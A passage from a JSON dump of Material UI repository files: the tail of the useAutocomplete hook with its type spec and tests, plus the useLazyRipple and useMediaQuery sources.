}\n            }\n            setFocusedItem(0);\n            focusItem(0);\n          } else {\n            // Multi-value: delegate to tag navigation helper.\n            handleFocusItem(event, 'previous');\n          }\n          break;\n        }\n        case 'ArrowRight':\n          if (!multiple && renderValue) {\n            setFocusedItem(-1);\n            focusItem(-1);\n          } else {\n            handleFocusItem(event, 'next');\n          }\n          break;\n        case 'Enter':\n          if (highlightedIndexRef.current !== -1 && popupOpen) {\n            const option = filteredOptions[highlightedIndexRef.current];\n            const disabled = getOptionDisabled ? getOptionDisabled(option) : false;\n\n            // Avoid early form validation, let the end-users continue filling the form.\n            event.preventDefault();\n\n            if (disabled) {\n              return;\n            }\n\n            selectNewValue(event, option, 'selectOption');\n\n            // Move the selection to the end.\n            if (autoComplete) {\n              inputRef.current.setSelectionRange(\n                inputRef.current.value.length,\n                inputRef.current.value.length,\n              );\n            }\n          } else if (freeSolo && inputValue !== '' && inputValueIsSelectedValue === false) {\n            if (multiple) {\n              // Allow people to add new values before they submit the form.\n              event.preventDefault();\n            }\n            selectNewValue(event, inputValue, 'createOption', 'freeSolo');\n          }\n          break;\n        case 'Escape':\n          if (popupOpen) {\n            // Avoid Opera to exit fullscreen mode.\n            event.preventDefault();\n            // Avoid the Modal to handle the event.\n            event.stopPropagation();\n            handleClose(event, 'escape');\n          } else if (\n            clearOnEscape &&\n            (inputValue !== '' || (multiple && value.length > 0) || renderValue)\n          ) {\n            // Avoid Opera to exit fullscreen mode.\n            event.preventDefault();\n            // Avoid the Modal to handle the event.\n            event.stopPropagation();\n            handleClear(event);\n          }\n          break;\n        case 'Backspace':\n          // Remove the value on the left of the \"cursor\"\n          if (multiple && !readOnly && inputValue === '' && value.length > 0) {\n            const index = focusedItem === -1 ? value.length - 1 : focusedItem;\n            const newValue = value.slice();\n            newValue.splice(index, 1);\n            handleValue(event, newValue, 'removeOption', {\n              option: value[index],\n            });\n          }\n          if (!multiple && renderValue && !readOnly && inputValue === '') {\n            handleValue(event, null, 'removeOption', { option: value });\n          }\n          break;\n        case 'Delete':\n          // Remove the value on the right of the \"cursor\"\n          if (\n            multiple &&\n            !readOnly &&\n            inputValue === '' &&\n            value.length > 0 &&\n            focusedItem !== -1\n          ) {\n            const index = focusedItem;\n            const newValue = value.slice();\n            newValue.splice(index, 1);\n            handleValue(event, newValue, 'removeOption', {\n              option: value[index],\n            });\n          }\n          if (!multiple && renderValue && !readOnly && inputValue === '') {\n            // Single-value rendering: Delete on empty input removes\n            // the single rendered option, same \"removeOption\" reason as multiple.\n            handleValue(event, null, 'removeOption', { option: value });\n          }\n          break;\n        default:\n      }\n    }\n  };\n\n  const handleFocus = (event) => {\n    setFocused(true);\n\n    // When focusing the input, ensure any previously focused item (chip)\n    // is cleared so the input receives the visible caret and the\n    // input-focused styling is applied.\n    if (focusedItem !== -1) {\n      setFocusedItem(-1);\n      // Ensure DOM focus lands on the input\n      focusItem(-1);\n    }\n\n    // If the window previously lost focus while the popup was open,\n    // ignore this focus event to prevent unintended reopening.\n    // Reset the flag so normal focus behavior resumes.\n    if (windowLostFocus.current) {\n      windowLostFocus.current = false;\n      return;\n    }\n\n    if (openOnFocus && !ignoreFocus.current) {\n      handleOpen(event);\n    }\n  };\n\n  const handleBlur = (event) => {\n    // Ignore the event when using the scrollbar with IE11\n    if (unstable_isActiveElementInListbox(listboxRef)) {\n      inputRef.current.focus();\n      return;\n    }\n\n    setFocused(false);\n    firstFocus.current = true;\n    ignoreFocus.current = false;\n\n    if (autoSelect && highlightedIndexRef.current !== -1 && popupOpen) {\n      selectNewValue(event, filteredOptions[highlightedIndexRef.current], 'blur');\n    } else if (autoSelect && freeSolo && inputValue !== '') {\n      selectNewValue(event, inputValue, 'blur', 'freeSolo');\n    } else if (clearOnBlur) {\n      resetInputValue(event, value, 'blur');\n    }\n\n    handleClose(event, 'blur');\n  };\n\n  const handleInputChange = (event) => {\n    const newValue = event.target.value;\n\n    if (inputValue !== newValue) {\n      setInputValueState(newValue);\n      setInputPristine(false);\n\n      if (onInputChange) {\n        onInputChange(event, newValue, 'input');\n      }\n    }\n\n    if (newValue === '') {\n      // For normal single-select, clearing the input clears the value.\n      // For renderValue (chip-style single), only Backspace/Delete clear the value.\n      if (!disableClearable && !multiple && !renderValue) {\n        handleValue(event, null, 'clear');\n      }\n    } else {\n      handleOpen(event);\n    }\n  };\n\n  const handleOptionMouseMove = (event) => {\n    const index = Number(event.currentTarget.getAttribute('data-option-index'));\n    if (highlightedIndexRef.current !== index) {\n      setHighlightedIndex({\n        event,\n        index,\n        reason: 'mouse',\n      });\n    }\n  };\n\n  const handleOptionTouchStart = (event) => {\n    setHighlightedIndex({\n      event,\n      index: Number(event.currentTarget.getAttribute('data-option-index')),\n      reason: 'touch',\n    });\n    isTouch.current = true;\n  };\n\n  const handleOptionClick = (event) => {\n    const index = Number(event.currentTarget.getAttribute('data-option-index'));\n    selectNewValue(event, filteredOptions[index], 'selectOption');\n\n    isTouch.current = false;\n  };\n\n  const handleItemDelete = (index) => (event) => {\n    const newValue = value.slice();\n    newValue.splice(index, 1);\n    handleValue(event, newValue, 'removeOption', {\n      option: value[index],\n    });\n  };\n\n  const handleSingleItemDelete = (event) => {\n    handleValue(event, null, 'removeOption', {\n      option: value,\n    });\n  };\n\n  const handlePopupIndicator = (event) => {\n    if (open) {\n      handleClose(event, 'toggleInput');\n    } else {\n      handleOpen(event);\n    }\n  };\n\n  // Prevent input blur when interacting with the combobox\n  const handleMouseDown = (event) => {\n    // Prevent focusing the input if click is anywhere outside the Autocomplete\n    if (!event.currentTarget.contains(event.target)) {\n      return;\n    }\n    // Don't interfere with interactions outside the input area (e.g. helper text)\n    if (anchorEl && !anchorEl.contains(event.target)) {\n      return;\n    }\n    if (event.target.getAttribute('id') !== id) {\n      event.preventDefault();\n    }\n  };\n\n  // Focus the input when interacting with the combobox\n  const handleClick = (event) => {\n    // Prevent focusing the input if click is anywhere outside the Autocomplete\n    if (!event.currentTarget.contains(event.target)) {\n      return;\n    }\n    // Don't interfere with interactions outside the input area (e.g. helper text)\n    if (anchorEl && !anchorEl.contains(event.target)) {\n      return;\n    }\n    inputRef.current.focus();\n\n    if (\n      selectOnFocus &&\n      firstFocus.current &&\n      inputRef.current.selectionEnd - inputRef.current.selectionStart === 0\n    ) {\n      inputRef.current.select();\n    }\n\n    firstFocus.current = false;\n  };\n\n  const handleInputMouseDown = (event) => {\n    if (\n      !disabledProp &&\n      (inputValue === '' || !open) &&\n      // Only handle event when the main button is pressed (left click).\n      event.button === 0\n    ) {\n      handlePopupIndicator(event);\n    }\n  };\n\n  let dirty = freeSolo && inputValue.length > 0;\n  dirty = dirty || (multiple ? value.length > 0 : value !== null);\n\n  let groupedOptions = filteredOptions;\n  if (groupBy) {\n    // used to keep track of key and indexes in the result array\n    const indexBy = new Map();\n    let warn = false;\n\n    groupedOptions = filteredOptions.reduce((acc, option, index) => {\n      const group = groupBy(option);\n\n      if (acc.length > 0 && acc[acc.length - 1].group === group) {\n        acc[acc.length - 1].options.push(option);\n      } else {\n        if (process.env.NODE_ENV !== 'production') {\n          if (indexBy.get(group) && !warn) {\n            console.warn(\n              `MUI: The options provided combined with the \\`groupBy\\` method of ${componentName} returns duplicated headers.`,\n              'You can solve the issue by sorting the options with the output of `groupBy`.',\n            );\n            warn = true;\n          }\n          indexBy.set(group, true);\n        }\n\n        acc.push({\n          key: index,\n          index,\n          group,\n          options: [option],\n        });\n      }\n\n      return acc;\n    }, []);\n  }\n\n  if (disabledProp && focused) {\n    handleBlur();\n  }\n\n  return {\n    getRootProps: (other = {}) => ({\n      ...other,\n      onKeyDown: handleKeyDown(other),\n      onMouseDown: handleMouseDown,\n      onClick: handleClick,\n    }),\n    getInputLabelProps: () => ({\n      id: `${id}-label`,\n      htmlFor: id,\n    }),\n    getInputProps: () => ({\n      id,\n      value: inputValue,\n      onBlur: handleBlur,\n      onFocus: handleFocus,\n      onChange: handleInputChange,\n      onMouseDown: handleInputMouseDown,\n      // if open then this is handled imperatively so don't let react override\n      // only have an opinion about this when closed\n      'aria-activedescendant': popupOpen ? '' : null,\n      'aria-autocomplete': autoComplete ? 'both' : 'list',\n      'aria-controls': listboxAvailable ? `${id}-listbox` : undefined,\n      'aria-expanded': listboxAvailable,\n      // Disable browser's suggestion that might overlap with the popup.\n      // Handle autocomplete but not autofill.\n      autoComplete: 'off',\n      ref: inputRef,\n      autoCapitalize: 'none',\n      spellCheck: 'false',\n      role: 'combobox',\n      disabled: disabledProp,\n    }),\n    getClearProps: () => ({\n      tabIndex: -1,\n      type: 'button',\n      onClick: handleClear,\n    }),\n    getItemProps: ({ index = 0 } = {}) => ({\n      ...(multiple && { key: index }),\n      'data-item-index': index,\n      tabIndex: -1,\n      ...(!readOnly && { onDelete: multiple ? handleItemDelete(index) : handleSingleItemDelete }),\n    }),\n    getPopupIndicatorProps: () => ({\n      tabIndex: -1,\n      type: 'button',\n      onClick: handlePopupIndicator,\n    }),\n    getListboxProps: () => ({\n      role: 'listbox',\n      id: `${id}-listbox`,\n      'aria-labelledby': `${id}-label`,\n      'aria-multiselectable': multiple || undefined,\n      ref: handleListboxRef,\n      onMouseDown: (event) => {\n        // Prevent blur\n        event.preventDefault();\n      },\n    }),\n    getOptionProps: ({ index, option }) => {\n      const selected = isOptionSelected(option);\n      const disabled = getOptionDisabled ? getOptionDisabled(option) : false;\n\n      return {\n        key: getOptionKey?.(option) ?? getOptionLabel(option),\n        tabIndex: -1,\n        role: 'option',\n        id: `${id}-option-${index}`,\n        onMouseMove: handleOptionMouseMove,\n        onClick: handleOptionClick,\n        onTouchStart: handleOptionTouchStart,\n        'data-option-index': index,\n        'aria-disabled': disabled,\n        'aria-selected': selected,\n      };\n    },\n    id,\n    inputValue,\n    value,\n    dirty,\n    expanded: popupOpen && anchorEl,\n    popupOpen,\n    focused: focused || focusedItem !== -1,\n    anchorEl,\n    setAnchorEl,\n    focusedItem,\n    groupedOptions,\n  };\n}\n\nexport default useAutocomplete;\n"
  },
  {
    "path": "packages/mui-material/src/useAutocomplete/useAutocomplete.spec.ts",
    "content": "import { expectType } from '@mui/types';\nimport {\n  useAutocomplete,\n  FilterOptionsState,\n  AutocompleteGroupedOption,\n} from '@mui/material/useAutocomplete';\n\ninterface Person {\n  id: string;\n  name: string;\n}\n\nconst persons: Person[] = [\n  { id: '1', name: 'Chris' },\n  { id: '2', name: 'Kim' },\n  { id: '3', name: 'Ben' },\n  { id: '4', name: 'Matt' },\n];\n\nfunction Component() {\n  // value type is inferred correctly when multiple is undefined\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    onChange(event, value) {\n      expectType<string | null, typeof value>(value);\n    },\n  });\n\n  // value type is inferred correctly when multiple is false\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    multiple: false,\n    onChange(event, value) {\n      expectType<string | null, typeof value>(value);\n    },\n  });\n\n  // value type is inferred correctly for type unions\n  useAutocomplete({\n    options: ['1', '2', '3', 4, true],\n    onChange(event, value) {\n      expectType<string | number | boolean | null, typeof value>(value);\n    },\n  });\n\n  // value type is inferred correctly for interface\n  useAutocomplete({\n    options: persons,\n    onChange(event, value) {\n      expectType<Person | null, typeof value>(value);\n    },\n  });\n\n  // value type is inferred correctly when value is set\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    onChange(event, value) {\n      expectType<string | null, typeof value>(value);\n      value;\n    },\n    filterOptions(options, state) {\n      expectType<FilterOptionsState<string>, typeof state>(state);\n      expectType<string[], typeof options>(options);\n      return options;\n    },\n    getOptionLabel(option) {\n      expectType<string, typeof option>(option);\n      return option;\n    },\n    value: null,\n  });\n\n  // Multiple selection mode\n\n  // value type is inferred correctly for simple type\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    multiple: true,\n    onChange(event, value) {\n      expectType<string[], typeof value>(value);\n      value;\n    },\n  });\n\n  // value type is inferred correctly for union type\n  useAutocomplete({\n    options: ['1', '2', '3', 4, true],\n    multiple: true,\n    onChange(event, value) {\n      expectType<Array<string | number | boolean>, typeof value>(value);\n    },\n  });\n\n  // value type is inferred correctly for interface\n  useAutocomplete({\n    options: persons,\n    multiple: true,\n    onChange(event, value) {\n      expectType<Person[], typeof value>(value);\n      value;\n    },\n  });\n\n  // no type inference conflict when value type is set explicitly\n  useAutocomplete({\n    options: persons,\n    multiple: true,\n    onChange(event, value: Person[]) {},\n  });\n\n  // options accepts const and value has correct type\n  useAutocomplete({\n    options: ['1', '2', '3'] as const,\n    onChange(event, value) {\n      expectType<'1' | '2' | '3' | null, typeof value>(value);\n    },\n  });\n\n  // Disable clearable\n\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    disableClearable: true,\n    onChange(event, value) {\n      expectType<string, typeof value>(value);\n    },\n  });\n\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    disableClearable: false,\n    onChange(event, value) {\n      expectType<string | null, typeof value>(value);\n    },\n  });\n\n  useAutocomplete({\n    options: ['1', '2', '3'],\n    onChange(event, value) {\n      expectType<string | null, typeof value>(value);\n    },\n  });\n\n  // Free solo\n  useAutocomplete({\n    options: persons,\n    onChange(event, value) {\n      expectType<string | Person | null, typeof value>(value);\n    },\n    freeSolo: true,\n  });\n\n  useAutocomplete({\n    options: persons,\n    disableClearable: true,\n    onChange(event, value) {\n      expectType<string | Person, typeof value>(value);\n    },\n    freeSolo: true,\n  });\n\n  useAutocomplete({\n    options: persons,\n    multiple: true,\n    onChange(event, value) {\n      expectType<Array<string | Person>, typeof value>(value);\n    },\n    freeSolo: true,\n  });\n\n  useAutocomplete({\n    options: persons,\n    getOptionLabel(option) {\n      expectType<string | Person, typeof option>(option);\n      return '';\n    },\n    freeSolo: true,\n  });\n\n  useAutocomplete({\n    options: persons,\n    getOptionKey(option) {\n      expectType<string | Person, typeof option>(option);\n      return '';\n    },\n    freeSolo: true,\n  });\n\n  const ungroupedAutocomplete = useAutocomplete({ options: persons });\n  expectType<Person[], typeof ungroupedAutocomplete.groupedOptions>(\n    ungroupedAutocomplete.groupedOptions,\n  );\n\n  const groupedAutocomplete = useAutocomplete({\n    options: persons,\n    groupBy: ({ id }) => id,\n  });\n  expectType<AutocompleteGroupedOption<Person>[], typeof groupedAutocomplete.groupedOptions>(\n    groupedAutocomplete.groupedOptions,\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/useAutocomplete/useAutocomplete.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport {\n  createRenderer,\n  screen,\n  ErrorBoundary,\n  act,\n  fireEvent,\n  reactMajor,\n  isJsdom,\n  flushEffects,\n} from '@mui/internal-test-utils';\nimport { spy } from 'sinon';\nimport useAutocomplete, { createFilterOptions } from '@mui/material/useAutocomplete';\n\ndescribe('useAutocomplete', () => {\n  const { render } = createRenderer();\n\n  it('should preserve DOM nodes of options when re-ordering', () => {\n    function Test(props) {\n      const { options } = props;\n      const {\n        groupedOptions,\n        getRootProps,\n        getInputLabelProps,\n        getInputProps,\n        getListboxProps,\n        getOptionProps,\n      } = useAutocomplete({\n        options,\n        open: true,\n      });\n\n      return (\n        <div>\n          <div {...getRootProps()}>\n            <label {...getInputLabelProps()}>useAutocomplete</label>\n            <input {...getInputProps()} />\n          </div>\n          {groupedOptions.length > 0 ? (\n            <ul {...getListboxProps()}>\n              {groupedOptions.map((option, index) => {\n                const { key, ...optionProps } = getOptionProps({ option, index });\n                return (\n                  <li key={key} {...optionProps}>\n                    {option}\n                  </li>\n                );\n              })}\n            </ul>\n          ) : null}\n        </div>\n      );\n    }\n\n    const view = render(<Test options={['foo', 'bar']} />);\n    const [fooOptionAsFirst, barOptionAsSecond] = screen.getAllByRole('option');\n    view.rerender(<Test options={['bar', 'foo']} />);\n    const [barOptionAsFirst, fooOptionAsSecond] = screen.getAllByRole('option');\n\n    // If the DOM nodes are not preserved VO will not read the first option again since it thinks it didn't change.\n    expect(fooOptionAsFirst).to.equal(fooOptionAsSecond);\n    expect(barOptionAsFirst).to.equal(barOptionAsSecond);\n  });\n\n  describe('createFilterOptions', () => {\n    it('defaults to getOptionLabel for text filtering', () => {\n      const filterOptions = createFilterOptions();\n\n      const getOptionLabel = (option) => option.name;\n      const options = [\n        {\n          id: '1234',\n          name: 'cat',\n        },\n        {\n          id: '5678',\n          name: 'dog',\n        },\n        {\n          id: '9abc',\n          name: 'emu',\n        },\n      ];\n\n      expect(filterOptions(options, { inputValue: 'a', getOptionLabel })).to.deep.equal([\n        options[0],\n      ]);\n    });\n\n    it('filters without error with empty option set', () => {\n      const filterOptions = createFilterOptions();\n\n      const getOptionLabel = (option) => option.name;\n      const options = [];\n\n      expect(filterOptions(options, { inputValue: 'a', getOptionLabel })).to.deep.equal([]);\n    });\n\n    describe('option: limit', () => {\n      it('limits the number of suggested options to be shown', () => {\n        const filterOptions = createFilterOptions({ limit: 2 });\n\n        const getOptionLabel = (option) => option.name;\n        const options = [\n          {\n            id: '1234',\n            name: 'a1',\n          },\n          {\n            id: '5678',\n            name: 'a2',\n          },\n          {\n            id: '9abc',\n            name: 'a3',\n          },\n          {\n            id: '9abc',\n            name: 'a4',\n          },\n        ];\n\n        expect(filterOptions(options, { inputValue: 'a', getOptionLabel })).to.deep.equal([\n          options[0],\n          options[1],\n        ]);\n      });\n    });\n\n    describe('option: matchFrom', () => {\n      let filterOptions;\n      let getOptionLabel;\n      let options;\n\n      beforeEach(() => {\n        filterOptions = createFilterOptions({ matchFrom: 'any' });\n        getOptionLabel = (option) => option.name;\n        options = [\n          {\n            id: '1234',\n            name: 'ab',\n          },\n          {\n            id: '5678',\n            name: 'ba',\n          },\n          {\n            id: '9abc',\n            name: 'ca',\n          },\n        ];\n      });\n\n      describe('any', () => {\n        it('show all results that match', () => {\n          expect(filterOptions(options, { inputValue: 'a', getOptionLabel })).to.deep.equal(\n            options,\n          );\n        });\n      });\n\n      describe('empty', () => {\n        it('does not call getOptionLabel if filter is empty', () => {\n          const getOptionLabelSpy = spy(getOptionLabel);\n          expect(\n            filterOptions(options, { inputValue: '', getOptionLabel: getOptionLabelSpy }),\n          ).to.deep.equal(options);\n          expect(getOptionLabelSpy.callCount).to.equal(0);\n        });\n      });\n\n      describe('start', () => {\n        it('show only results that start with search', () => {\n          expect(filterOptions(options, { inputValue: 'a', getOptionLabel })).to.deep.equal(\n            options,\n          );\n        });\n      });\n    });\n\n    describe('option: ignoreAccents', () => {\n      it('does not ignore accents', () => {\n        const filterOptions = createFilterOptions({ ignoreAccents: false });\n\n        const getOptionLabel = (option) => option.name;\n        const options = [\n          {\n            id: '1234',\n            name: 'áb',\n          },\n          {\n            id: '5678',\n            name: 'ab',\n          },\n          {\n            id: '9abc',\n            name: 'áe',\n          },\n          {\n            id: '9abc',\n            name: 'ae',\n          },\n        ];\n\n        expect(filterOptions(options, { inputValue: 'á', getOptionLabel })).to.deep.equal([\n          options[0],\n          options[2],\n        ]);\n      });\n    });\n\n    describe('option: ignoreCase', () => {\n      it('matches results with case insensitive', () => {\n        const filterOptions = createFilterOptions({ ignoreCase: false });\n\n        const getOptionLabel = (option) => option.name;\n        const options = [\n          {\n            id: '1234',\n            name: 'Ab',\n          },\n          {\n            id: '5678',\n            name: 'ab',\n          },\n          {\n            id: '9abc',\n            name: 'Ae',\n          },\n          {\n            id: '9abc',\n            name: 'ae',\n          },\n        ];\n\n        expect(filterOptions(options, { inputValue: 'A', getOptionLabel })).to.deep.equal([\n          options[0],\n          options[2],\n        ]);\n      });\n    });\n  });\n\n  // can't catch render errors in the browser for unknown reason\n  // tried try-catch + error boundary + window onError preventDefault\n  // TODO is this fixed?\n  it.skipIf(!isJsdom())('should warn if the input is not bound', async () => {\n    function Test(props) {\n      const { options } = props;\n      const {\n        groupedOptions,\n        getRootProps,\n        getInputLabelProps,\n        // getInputProps,\n        getListboxProps,\n        getOptionProps,\n      } = useAutocomplete({\n        options,\n        open: true,\n      });\n\n      return (\n        <div>\n          <div {...getRootProps()}>\n            <label {...getInputLabelProps()}>useAutocomplete</label>\n          </div>\n          {groupedOptions.length > 0 ? (\n            <ul {...getListboxProps()}>\n              {groupedOptions.map((option, index) => {\n                const { key, ...optionProps } = getOptionProps({ option, index });\n                return (\n                  <li key={key} {...optionProps}>\n                    {option}\n                  </li>\n                );\n              })}\n            </ul>\n          ) : null}\n        </div>\n      );\n    }\n\n    const muiErrorMessage = 'MUI: Unable to find the input element.';\n    const aboveErrorUlElementMessage = 'The above error occurred in the <ul> component';\n    const aboveErrorTestComponentMessage = 'The above error occurred in the <Test> component';\n    const node16ErrorMessage =\n      \"TypeError: Cannot read properties of null (reading 'removeAttribute')\";\n    const olderNodeErrorMessage = \"TypeError: Cannot read property 'removeAttribute' of null\";\n\n    const nodeVersion = Number(process.versions.node.split('.')[0]);\n    const nodeErrorMessage = nodeVersion >= 16 ? node16ErrorMessage : olderNodeErrorMessage;\n\n    const defaultErrorMessages = [muiErrorMessage, nodeErrorMessage, nodeErrorMessage];\n\n    const errorMessagesByReactMajor = {\n      17: [\n        nodeErrorMessage,\n        muiErrorMessage,\n        nodeErrorMessage,\n        aboveErrorUlElementMessage,\n        aboveErrorTestComponentMessage,\n      ],\n      18: [\n        nodeErrorMessage,\n        muiErrorMessage,\n        nodeErrorMessage,\n        muiErrorMessage,\n        nodeErrorMessage,\n        aboveErrorUlElementMessage,\n        aboveErrorTestComponentMessage,\n        aboveErrorTestComponentMessage,\n      ],\n      19: [\n        muiErrorMessage,\n        muiErrorMessage,\n        nodeErrorMessage,\n        nodeErrorMessage,\n        nodeErrorMessage,\n        nodeErrorMessage,\n      ],\n    };\n\n    const devErrorMessages = errorMessagesByReactMajor[reactMajor] || defaultErrorMessages;\n\n    expect(() => {\n      render(\n        <ErrorBoundary>\n          <Test options={['foo', 'bar']} />\n        </ErrorBoundary>,\n      );\n    }).toErrorDev(devErrorMessages);\n\n    await flushEffects();\n  });\n\n  describe('prop: freeSolo', () => {\n    it('should not reset if the component value does not change on blur', () => {\n      function Test(props) {\n        const { options } = props;\n        const { getInputProps } = useAutocomplete({ options, open: true, freeSolo: true });\n\n        return <input {...getInputProps()} />;\n      }\n      render(<Test options={['foo', 'bar']} />);\n      const input = screen.getByRole('combobox');\n\n      fireEvent.change(input, { target: { value: 'free' } });\n      act(() => {\n        input.blur();\n      });\n\n      expect(input.value).to.equal('free');\n    });\n  });\n\n  describe('getInputProps', () => {\n    it('should disable input element', () => {\n      function Test(props) {\n        const { options } = props;\n        const { getInputProps } = useAutocomplete({ options, disabled: true });\n\n        return <input {...getInputProps()} />;\n      }\n      render(<Test options={['foo', 'bar']} />);\n      const input = screen.getByRole('combobox');\n\n      expect(input).to.have.attribute('disabled');\n    });\n  });\n\n  it('should allow tuples or arrays as value when multiple=false', () => {\n    const defaultValue = ['bar'];\n\n    function Test() {\n      const { getClearProps, getInputProps } = useAutocomplete({\n        defaultValue,\n        disableClearable: false,\n        getOptionLabel: ([val]) => val,\n        isOptionEqualToValue: (option, value) => {\n          if (option === value) {\n            return true;\n          }\n          return option[0] === value[0];\n        },\n        multiple: false,\n        options: [['foo'], defaultValue, ['baz']],\n      });\n\n      return (\n        <div>\n          <input {...getInputProps()} />\n          <button data-testid=\"button\" {...getClearProps()} />;\n        </div>\n      );\n    }\n\n    render(<Test />);\n\n    const button = screen.getByTestId('button');\n\n    expect(() => {\n      fireEvent.click(button);\n    }).not.to.throw();\n  });\n\n  describe('prop: isOptionEqualToValue', () => {\n    it('should respect custom equality even when option is referentially equal to value', () => {\n      const option = { id: 1, label: 'foo' };\n\n      function Test() {\n        const { groupedOptions, getInputProps, getListboxProps, getOptionProps } = useAutocomplete({\n          options: [option],\n          open: true,\n          multiple: true,\n          value: [option],\n          filterSelectedOptions: true,\n          getOptionLabel: (optionParam) => optionParam.label,\n          isOptionEqualToValue: () => false,\n        });\n\n        return (\n          <div>\n            <input {...getInputProps()} />\n            <ul {...getListboxProps()}>\n              {groupedOptions.map((optionParam, index) => {\n                const { key, ...optionProps } = getOptionProps({ option: optionParam, index });\n                return (\n                  <li key={key} {...optionProps}>\n                    {optionParam.label}\n                  </li>\n                );\n              })}\n            </ul>\n          </div>\n        );\n      }\n\n      render(<Test />);\n\n      const renderedOption = screen.getByRole('option');\n      expect(renderedOption).to.have.text('foo');\n      expect(renderedOption).to.have.attribute('aria-selected', 'false');\n    });\n  });\n\n  describe('prop: defaultValue', () => {\n    it('should not trigger onInputChange when defaultValue is provided', () => {\n      const onInputChange = spy();\n      const defaultValue = 'foo';\n\n      function Test() {\n        const { getInputProps } = useAutocomplete({\n          defaultValue,\n          onInputChange,\n          options: ['foo', 'bar'],\n        });\n\n        return <input {...getInputProps()} />;\n      }\n\n      render(<Test />);\n      expect(onInputChange.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: value', () => {\n    it('should not trigger onInputChange when value is provided', () => {\n      const onInputChange = spy();\n\n      function Test() {\n        const [value, setValue] = React.useState('foo');\n        const { getInputProps } = useAutocomplete({\n          value,\n          onChange: (event, valueParam) => setValue(valueParam),\n          onInputChange,\n          options: ['foo', 'bar'],\n        });\n\n        return <input {...getInputProps()} />;\n      }\n\n      render(<Test />);\n      expect(onInputChange.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: multiple', () => {\n    it('should set aria-multiselectable on the listbox when multiple prop is true', () => {\n      function Test(props) {\n        const { options } = props;\n        const { getListboxProps, getInputProps } = useAutocomplete({\n          options,\n          open: true,\n          multiple: true,\n        });\n        return (\n          <div>\n            <input {...getInputProps()} />\n            <ul {...getListboxProps()} />;\n          </div>\n        );\n      }\n\n      render(<Test options={['foo', 'bar']} />);\n\n      const listbox = screen.getByRole('listbox');\n\n      expect(listbox).to.have.attribute('aria-multiselectable', 'true');\n    });\n\n    it('should not set aria-multiselectable on the listbox when multiple prop is false', () => {\n      function Test(props) {\n        const { options } = props;\n        const { getListboxProps, getInputProps } = useAutocomplete({\n          options,\n          open: true,\n          multiple: false,\n        });\n        return (\n          <div>\n            <input {...getInputProps()} />\n            <ul {...getListboxProps()} />;\n          </div>\n        );\n      }\n\n      render(<Test options={['foo', 'bar']} />);\n      const listbox = screen.getByRole('listbox');\n\n      expect(listbox).to.not.have.attribute('aria-multiselectable');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/useLazyRipple/index.ts",
    "content": "'use client';\nexport { default } from './useLazyRipple';\n"
  },
  {
    "path": "packages/mui-material/src/useLazyRipple/useLazyRipple.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport useLazyRef from '@mui/utils/useLazyRef';\nimport { TouchRippleActions } from '../ButtonBase/TouchRipple';\n\ntype ControlledPromise<T = unknown> = Promise<T> & {\n  resolve: Function;\n  reject: Function;\n};\n\n/**\n * Lazy initialization container for the Ripple instance. This improves\n * performance by delaying mounting the ripple until it's needed.\n */\nexport class LazyRipple {\n  /** React ref to the ripple instance */\n  ref: React.RefObject<TouchRippleActions | null>;\n\n  /** If the ripple component should be mounted */\n  shouldMount: boolean;\n\n  /** Promise that resolves when the ripple component is mounted */\n  private mounted: ControlledPromise | null;\n\n  /** If the ripple component has been mounted */\n  private didMount: boolean;\n\n  /** React state hook setter */\n  private setShouldMount: React.Dispatch<boolean> | null;\n\n  static create() {\n    return new LazyRipple();\n  }\n\n  static use() {\n    /* eslint-disable */\n    const ripple = useLazyRef(LazyRipple.create).current;\n    const [shouldMount, setShouldMount] = React.useState(false);\n\n    ripple.shouldMount = shouldMount;\n    ripple.setShouldMount = setShouldMount;\n\n    React.useEffect(ripple.mountEffect, [shouldMount]);\n    /* eslint-enable */\n\n    return ripple;\n  }\n\n  constructor() {\n    this.ref = { current: null };\n    this.mounted = null;\n    this.didMount = false;\n    this.shouldMount = false;\n    this.setShouldMount = null;\n  }\n\n  mount() {\n    if (!this.mounted) {\n      this.mounted = createControlledPromise();\n      this.shouldMount = true;\n      this.setShouldMount!(this.shouldMount);\n    }\n    return this.mounted;\n  }\n\n  mountEffect = () => {\n    if (this.shouldMount && !this.didMount) {\n      if (this.ref.current !== null) {\n        this.didMount = true;\n        this.mounted!.resolve();\n      }\n    }\n  };\n\n  /* Ripple API */\n\n  start(...args: Parameters<TouchRippleActions['start']>) {\n    this.mount().then(() => this.ref.current?.start(...args));\n  }\n\n  stop(...args: Parameters<TouchRippleActions['stop']>) {\n    this.mount().then(() => this.ref.current?.stop(...args));\n  }\n\n  pulsate(...args: Parameters<TouchRippleActions['pulsate']>) {\n    this.mount().then(() => this.ref.current?.pulsate(...args));\n  }\n}\n\nexport default function useLazyRipple() {\n  return LazyRipple.use();\n}\n\nfunction createControlledPromise(): ControlledPromise {\n  let resolve: Function;\n  let reject: Function;\n\n  const p = new Promise((resolveFn, rejectFn) => {\n    resolve = resolveFn;\n    reject = rejectFn;\n  }) as ControlledPromise;\n  p.resolve = resolve!;\n  p.reject = reject!;\n\n  return p;\n}\n"
  },
  {
    "path": "packages/mui-material/src/useMediaQuery/index.d.ts",
    "content": "import { UseMediaQueryOptions } from '@mui/system/useMediaQuery';\nimport { Theme } from '../styles/createTheme';\n\nexport * from '@mui/system/useMediaQuery';\n\n// TODO v7: remove the generic. It's only used to prevent a breaking change in v6 from system's useMediaQuery in https://github.com/mui/material-ui/pull/44339.\ndeclare function useMediaQuery<T = Theme>(\n  queryInput: string | ((theme: T) => string),\n  options?: UseMediaQueryOptions,\n): boolean;\n\nexport default useMediaQuery;\n"
  },
  {
    "path": "packages/mui-material/src/useMediaQuery/index.js",
    "content": "import { unstable_createUseMediaQuery } from '@mui/system/useMediaQuery';\nimport THEME_ID from '../styles/identifier';\n\nconst useMediaQuery = unstable_createUseMediaQuery({ themeId: THEME_ID });\n\nexport default useMediaQuery;\n"
  },
  {
    "path": "packages/mui-material/src/useMediaQuery/useMediaQuery.test.js",
